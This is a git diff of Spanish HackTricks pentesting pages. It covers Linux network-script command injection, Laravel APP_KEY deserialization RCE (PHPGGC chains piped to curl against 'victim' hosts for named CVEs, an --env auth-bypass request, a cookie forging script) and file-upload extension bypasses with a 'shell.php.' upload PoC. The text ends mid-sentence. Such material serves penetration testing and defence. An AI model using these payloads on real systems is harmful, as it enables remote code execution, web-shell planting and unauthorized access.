`ifcf-` en _/etc/sysconfig/network-scripts_ **o** puede **modificar** uno existente, entonces tu sistema está **pwned**. -Network scripts, _ifcg-eth0_ por ejemplo, se usan para conexiones de red. Se parecen exactamente a archivos .INI. Sin embargo, son ~sourced~ en Linux por Network Manager (dispatcher.d). +Los scripts de red, _ifcg-eth0_ por ejemplo, se usan para conexiones de red. Se parecen exactamente a archivos .INI. Sin embargo, son \~sourced\~ en Linux por Network Manager (dispatcher.d). -En mi caso, el atributo `NAME=` en estos network scripts no se maneja correctamente. Si tienes **espacios en blanco en el nombre el sistema intenta ejecutar la parte después del espacio en blanco**. Esto significa que **todo lo que venga después del primer espacio en blanco se ejecuta como root**. +En mi caso, el atributo `NAME=` en estos scripts de red no se maneja correctamente. Si tienes **espacios en blanco en el nombre, el sistema intenta ejecutar la parte después del espacio en blanco**. Esto significa que **todo lo que sigue al primer espacio en blanco se ejecuta como root**. For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1408,13 +1437,13 @@ DEVICE=eth0 ``` (_Nota el espacio en blanco entre Network y /bin/id_) -### **init, init.d, systemd, y rc.d** +### **init, init.d, systemd, and rc.d** -El directorio `/etc/init.d` alberga **scripts** para System V init (SysVinit), el **sistema clásico de gestión de servicios de Linux**. Incluye scripts para `start`, `stop`, `restart`, y a veces `reload` servicios. Estos pueden ejecutarse directamente o a través de enlaces simbólicos encontrados en `/etc/rc?.d/`. Una ruta alternativa en sistemas Redhat es `/etc/rc.d/init.d`. +El directorio `/etc/init.d` alberga **scripts** para System V init (SysVinit), el **sistema clásico de gestión de servicios de Linux**. Incluye scripts para `start`, `stop`, `restart`, y a veces `reload` servicios. Estos pueden ejecutarse directamente o mediante enlaces simbólicos que se encuentran en `/etc/rc?.d/`. Una ruta alternativa en sistemas Redhat es `/etc/rc.d/init.d`. -Por otro lado, `/etc/init` está asociado con **Upstart**, una **gestión de servicios** más reciente introducida por Ubuntu, que usa archivos de configuración para tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts SysVinit siguen utilizándose junto con las configuraciones de Upstart debido a una capa de compatibilidad en Upstart. +Por otro lado, `/etc/init` está asociado con **Upstart**, un más reciente sistema de **service management** introducido por Ubuntu, que usa archivos de configuración para tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts de SysVinit siguen utilizándose junto a las configuraciones de Upstart debido a una capa de compatibilidad en Upstart. -**systemd** surge como un gestor moderno de inicialización y servicios, ofreciendo características avanzadas como inicio de daemons bajo demanda, gestión de automontajes, e instantáneas del estado del sistema. Organiza archivos en `/usr/lib/systemd/` para paquetes de distribución y `/etc/systemd/system/` para modificaciones del administrador, simplificando el proceso de administración del sistema. +**systemd** surge como un inicializador y gestor de servicios moderno, ofreciendo características avanzadas como arranque de daemons bajo demanda, gestión de automounts y snapshots del estado del sistema. Organiza los archivos en `/usr/lib/systemd/` para paquetes de distribución y `/etc/systemd/system/` para modificaciones del administrador, simplificando el proceso de administración del sistema. ## Otros trucos @@ -1441,7 +1470,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Los Android rooting frameworks suelen hookear un syscall para exponer funcionalidad privilegiada del kernel a un manager en espacio de usuario. Una autenticación débil del manager (p. ej., signature checks basados en el orden de FD o esquemas de contraseñas deficientes) puede permitir que una app local suplante al manager y escale a root en dispositivos ya rooteados. Aprende más y detalles de explotación aquí: +Los Android rooting frameworks comúnmente enganchan un syscall para exponer funcionalidad privilegiada del kernel a un manager en userspace. Una autenticación débil del manager (p. ej., checks de firma basados en FD-order o esquemas de contraseña pobres) puede permitir que una app local se haga pasar por el manager y escale a root en dispositivos ya rooteados. Aprende más y detalles de explotación aquí: {{#ref}} @@ -1466,11 +1495,11 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumera vulnerabilidades del kernel en Linux y MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilación de más scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Referencias @@ -1492,6 +1521,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) -- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) +- [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) +- [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 25dbcb63f..2c79f70e9 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -2,27 +2,164 @@ {{#include ../../banners/hacktricks-training.md}} +### Laravel SQLInjection -## Trucos de Laravel +Lea información sobre esto aquí: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) -### Modo de depuración +--- -Si Laravel está en **modo de depuración**, podrás acceder al **código** y **datos sensibles**.\ +## APP_KEY & Encryption internals (Laravel \u003e=5.6) + +Laravel utiliza AES-256-CBC (o GCM) con integridad HMAC bajo el capó (`Illuminate\\Encryption\\Encrypter`). +El texto cifrado bruto que finalmente **se envía al cliente** es **Base64 de un objeto JSON** como: +```json +{ +"iv" : "Base64(random 16-byte IV)", +"value": "Base64(ciphertext)", +"mac" : "HMAC_SHA256(iv||value, APP_KEY)", +"tag" : "" // only used for AEAD ciphers (GCM) +} +``` +`encrypt($value, $serialize=true)` serializa (`serialize()`) el texto plano por defecto, mientras que +`decrypt($payload, $unserialize=true)` **automáticamente `unserialize()`** el valor descifrado. +Por lo tanto, **cualquier atacante que conozca la clave secreta de 32 bytes `APP_KEY` puede crear un objeto PHP serializado cifrado y obtener RCE vía métodos mágicos (`__wakeup`, `__destruct`, …)**. + +PoC mínimo (framework ≥9.x): +```php +use Illuminate\Support\Facades\Crypt; + +$chain = base64_decode(''); // e.g. phpggc Laravel/RCE13 system id -b -f +$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste +``` +Inyecta la cadena generada en cualquier sink vulnerable de `decrypt()` (route param, cookie, session, …). + +--- + +## laravel-crypto-killer 🧨 +[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatiza todo el proceso y añade un conveniente modo **bruteforce**: +```bash +# Encrypt a phpggc chain with a known APP_KEY +laravel_crypto_killer.py encrypt -k "base64:" -v "$(phpggc Laravel/RCE13 system id -b -f)" + +# Decrypt a captured cookie / token +laravel_crypto_killer.py decrypt -k -v + +# Try a word-list of keys against a token (offline) +laravel_crypto_killer.py bruteforce -v -kf appkeys.txt +``` +El script admite de forma transparente tanto payloads CBC como GCM y regenera el campo HMAC/tag. + +--- + +## Patrones vulnerables en el mundo real + +| Proyecto | Punto vulnerable (sink) | Cadena de gadgets | +|---------|-------------------------|-------------------| +| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 | +| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 | +| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 | + +El flujo de explotación siempre es: +1. Obtener o forzar por brute-force la `APP_KEY` de 32 bytes. +2. Construir una cadena de gadgets con **PHPGGC** (por ejemplo `Laravel/RCE13`, `Laravel/RCE9` o `Laravel/RCE15`). +3. Encriptar el gadget serializado con **laravel_crypto_killer.py** y la `APP_KEY` recuperada. +4. Entregar el ciphertext al sink vulnerable `decrypt()` (parámetro de ruta, cookie, session …) para desencadenar **RCE**. + +A continuación se muestran one-liners concisos que demuestran la ruta completa de ataque para cada CVE del mundo real mencionada arriba: +```bash +# Invoice Ninja ≤5 – /route/{hash} +php8.2 phpggc Laravel/RCE13 system id -b -f | \ +./laravel_crypto_killer.py encrypt -k -v - | \ +xargs -I% curl "https://victim/route/%" + +# Snipe-IT ≤6 – XSRF-TOKEN cookie +php7.4 phpggc Laravel/RCE9 system id -b | \ +./laravel_crypto_killer.py encrypt -k -v - > xsrf.txt +curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login + +# Crater – cookie-based session +php8.2 phpggc Laravel/RCE15 system id -b > payload.bin +./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt +curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login +``` +## Mass APP_KEY discovery via cookie brute-force + +Porque cada respuesta nueva de Laravel establece al menos 1 cookie encriptada (`XSRF-TOKEN` y normalmente `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** que pueden ser atacadas offline. + +Principales hallazgos de la investigación publicada por Synacktiv (2024-2025): +* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) +* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked** +* >1 000 servers still vulnerable to legacy CVE-2018-15133 porque los tokens contienen directamente serialized data. +* Reutilización masiva de claves – los Top-10 APP_KEYs son hard-coded defaults incluidos en plantillas comerciales de Laravel (UltimatePOS, Invoice Ninja, XPanel, …). + +La herramienta privada en Go **nounours** empuja el throughput de AES-CBC/GCM bruteforce a ~1.5 billion tries/s, reduciendo el cracking de un dataset completo a <2 minutes. + + +## CVE-2024-52301 – HTTP argv/env override → auth bypass + +Cuando PHP tiene `register_argc_argv=On` (típico en muchas distros), PHP expone un array `argv` para peticiones HTTP derivado del query string. Versiones recientes de Laravel parseaban estos args “CLI-like” y respetaban `--env=` en tiempo de ejecución. Esto permite cambiar el environment del framework para la request HTTP actual simplemente añadiéndolo a cualquier URL: + +- Quick check: +- Visita `https://target/?--env=local` o cualquier string y busca cambios dependientes del environment (debug banners, footers, verbose errors). Si la cadena se refleja, el override está funcionando. + +- Impact example (lógica de negocio que confía en un env especial): +- Si la app contiene ramas como `if (app()->environment('preprod')) { /* bypass auth */ }`, puedes autenticarte sin credenciales válidas enviando el POST de login a: +- `POST /login?--env=preprod` + +- Notes: +- Funciona por request, sin persistencia. +- Requiere `register_argc_argv=On` y una versión vulnerable de Laravel que lea argv para HTTP. +- Primitive útil para exponer errores más verbosos en envs “debug” o para disparar rutas de código condicionadas por environment. + +- Mitigations: +- Desactivar `register_argc_argv` para PHP-FPM/Apache. +- Actualizar Laravel para ignorar argv en peticiones HTTP y eliminar cualquier asunción de confianza ligada a `app()->environment()` en rutas de producción. + +Minimal exploitation flow (Burp): +```http +POST /login?--env=preprod HTTP/1.1 +Host: target +Content-Type: application/x-www-form-urlencoded +... +email=a@b.c&password=whatever&remember=0xdf +``` +--- + +## Laravel Trucos + +### Modo debug + +Si Laravel está en **modo debug** podrás acceder al **código** y a **datos sensibles**.\ Por ejemplo `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -Esto suele ser necesario para explotar otras CVEs de RCE de Laravel. +Esto suele ser necesario para explotar otras CVEs de RCE en Laravel. +### Fingerprinting & endpoints dev expuestos + +Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production: + +- `/_ignition/health-check` → Ignition presente (herramienta de debug usada por CVE-2021-3129). Si es accesible sin autenticación, la app puede estar en modo debug o mal configurada. +- `/_debugbar` → Laravel Debugbar assets; a menudo indica modo debug. +- `/telescope` → Laravel Telescope (dev monitor). Si es público, espera una amplia divulgación de información y posibles acciones. +- `/horizon` → Queue dashboard; revelación de versión y a veces acciones protegidas por CSRF. +- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint. +```bash +# Nuclei quick probe +nuclei -nt -u https://target -tags laravel -rl 30 +# Manual spot checks +for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done +``` ### .env -Laravel guarda la APP que utiliza para encriptar las cookies y otras credenciales dentro de un archivo llamado `.env` que se puede acceder utilizando alguna travesía de ruta bajo: `/../.env` +Laravel guarda la APP que utiliza para cifrar las cookies y otras credenciales dentro de un archivo llamado `.env` que puede ser accedido mediante un path traversal en: `/../.env` -Laravel también mostrará esta información dentro de la página de depuración (que aparece cuando Laravel encuentra un error y está activado). +Laravel también mostrará esta información en la página de depuración (que aparece cuando Laravel encuentra un error y está activada). -Usando la APP_KEY secreta de Laravel, puedes desencriptar y reencriptar cookies: +Usando la APP_KEY secreta de Laravel puedes descifrar y volver a cifrar cookies: -### Desencriptar Cookie +### Descifrar cookie ```python import os import json @@ -77,26 +214,34 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' key = base64.b64decode(app_key) -decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') -#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' -encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}') +decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') +#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' +encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}') ``` ### Laravel Deserialization RCE -Versiones vulnerables: 5.5.40 y 5.6.x a través de 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) +Versiones vulnerables: 5.5.40 y 5.6.x hasta 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) -Aquí puedes encontrar información sobre la vulnerabilidad de deserialización aquí: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) +Aquí puedes encontrar información sobre la vulnerabilidad de deserialization: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) Puedes probar y explotarlo usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ O también puedes explotarlo con metasploit: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 -Otra deserialización: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) +Otra deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) -### Laravel SQLInjection -Lee información sobre esto aquí: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) + +## Referencias +* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) +* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) +* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) +* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) +* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) +* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h) +* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301) +* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 1c1a6f7e0..049cfe186 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -1,10 +1,10 @@ -# Subida de archivos +# Carga de archivos {{#include ../../banners/hacktricks-training.md}} -## Metodología general de subida de archivos +## Metodología general de carga de archivos -Other useful extensions: +Otras extensiones útiles: - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ - **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ @@ -15,13 +15,13 @@ Other useful extensions: - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### Evasión de comprobaciones de extensiones de archivo +### Bypassar las comprobaciones de extensión de archivos -1. Si aplican, **revisa** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._ -2. _Prueba **añadir una extensión válida antes** de la extensión ejecutable (usa las extensiones anteriores también):_ +1. Si aplican, **comprueba** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._ +2. _Prueba **añadir una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_ - _file.png.php_ - _file.png.Php5_ -3. Intenta añadir **caracteres especiales al final.** Puedes usar Burp para **bruteforcear** todos los caracteres **ascii** y **Unicode**. (_Nota que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_) +3. Intenta añadir **caracteres especiales al final.** Puedes usar Burp para **bruteforce** todos los caracteres **ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Other useful extensions: - _file._ - _file.php...._ - _file.pHp5...._ -4. Intenta evadir las protecciones **engañando al parser de extensiones** del servidor usando técnicas como **duplicar** la **extensión** o **añadir datos basura** (bytes **null**) entre extensiones. _También puedes usar las **extensiones** anteriores para preparar un payload mejor._ +4. Intenta evadir las protecciones **engañando al parser de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **añadir datos basura** (bytes **null**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar un payload mejor._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,18 +40,18 @@ Other useful extensions: - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Añade **otra capa de extensiones** a las comprobaciones previas: +5. Añade **otra capa de extensiones** a la comprobación anterior: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Intenta poner la **extensión ejecutable antes de la extensión válida** y reza a que el servidor esté mal configurado. (útil para explotar misconfiguraciones de Apache donde cualquier cosa con extensión **.php**, pero **no necesariamente terminada en .php**, ejecutará código): +6. Intenta poner la **extensión ejecutable antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar misconfiguraciones de Apache donde cualquier cosa con extensión **.php**, aunque no termine necesariamente en .php, ejecutará código): - _ex: file.php.png_ -7. Uso de **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará en el servidor un **archivo vacío con la extensión prohibida** (p. ej. "file.asax:.jpg"). Este archivo podría ser editado más tarde usando otras técnicas como su nombre corto. El patrón "**::$data**” también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un punto después de este patrón también podría ser útil para evadir restricciones adicionales (p. ej. "file.asp::$data.”) -8. Intenta romper los límites de nombre de archivo. La extensión válida se corta. Y el PHP malicioso queda. AAA<--SNIP-->AAA.php +7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará en el servidor un **archivo vacío con la extensión prohibida** (p. ej. "file.asax:.jpg”). Este archivo podría editarse más tarde usando otras técnicas como su short filename. El "**::$data**” pattern también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un punto después de este patrón podría también ser útil para evadir restricciones adicionales (p. ej. "file.asp::$data.”) +8. Intenta superar los límites de nombre de archivo. La extensión válida se corta. Y queda el PHP malicioso. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png # Upload the file and check response how many characters it alllows. Let's say 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -59,56 +59,86 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### Evasión de Content-Type, Magic Number, Compresión y Redimensionado +#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546 -- Evade las comprobaciones de **Content-Type** estableciendo el **valor** del **header Content-Type** a: _image/png_ , _text/plain , application/octet-stream_ +Algunos manejadores de subida recortan o normalizan los caracteres de punto final del nombre de archivo guardado. En UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) en versiones anteriores a 2.9.1, puedes evadir la validación de extensión mediante: + +- Usar un MIME de imagen válido y el encabezado mágico (por ejemplo, el `\x89PNG\r\n\x1a\n` de PNG). +- Nombrar el archivo subido con una extensión PHP seguida de un punto, p. ej., `shell.php.`. +- El servidor elimina el punto final y persiste `shell.php`, que se ejecutará si se coloca en un directorio servido por la web (almacenamiento público por defecto como `/storage/files/`). + +Minimal PoC (Burp Repeater): +```http +POST /profile/avatar HTTP/1.1 +Host: target +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary + +------WebKitFormBoundary +Content-Disposition: form-data; name="upload"; filename="0xdf.php." +Content-Type: image/png + +\x89PNG\r\n\x1a\n +------WebKitFormBoundary-- +``` +Luego accede a la ruta guardada (típico en 